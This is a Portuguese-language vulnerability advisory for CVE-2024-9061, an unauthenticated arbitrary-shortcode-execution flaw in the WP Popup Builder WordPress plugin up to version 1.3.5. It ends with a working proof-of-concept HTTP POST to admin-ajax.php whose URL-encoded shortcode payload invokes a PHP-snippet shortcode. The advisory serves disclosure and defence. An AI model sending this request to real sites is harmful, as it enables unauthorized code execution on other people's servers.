CVE-2024-9061

WP Popup Builder – Popup Forms and Marketing Lead Generation <= 1.3.5 - Execução Não Autenticada de Shortcode Arbitrário via wp_ajax_nopriv_shortcode_Api_Add

Descrição

O plugin WP Popup Builder – Popup Forms and Marketing Lead Generation para WordPress é vulnerável a execução arbitrária de shortcodes através da ação AJAX wp_ajax_nopriv_shortcode_Api_Add em todas as versões até, e incluindo, 1.3.5. Isso se deve ao software permitir que os usuários executem uma ação que não valida adequadamente um valor antes de executar do_shortcode. Isso possibilita que atacantes não autenticados executem shortcodes arbitrários. NOTA: Esta vulnerabilidade foi parcialmente corrigida na versão 1.3.5 com uma verificação de nonce, que efetivamente impediu o acesso à função afetada. No entanto, a versão 1.3.6 incorpora a verificação de autorização correta para impedir acesso não autorizado.

Eu tinha outro plugin instalado para execução de php para isso, mas nunca consegui executá-lo.

[xyz-ips snippet="test"]

Informações

Type: plugin
CVSS Score: 7.3
CVE: CVE-2024-9061
Slug: wp-popup-builder
Download Link: Download [wp-popup-builder Version 1.3.2](https://downloads.wordpress.org/plugin/wp-popup-builder.1.3.2.zip)

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wpscan-vulnerability-test-bench.ddev.site
User-Agent: curl/8.7.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: keep-alive

action=shortcode_Api_Add&shortcode=%5b%78%79%7a%2d%69%70%73%20%73%6e%69%70%70%65%74%3d%22%74%65%73%74%22%5d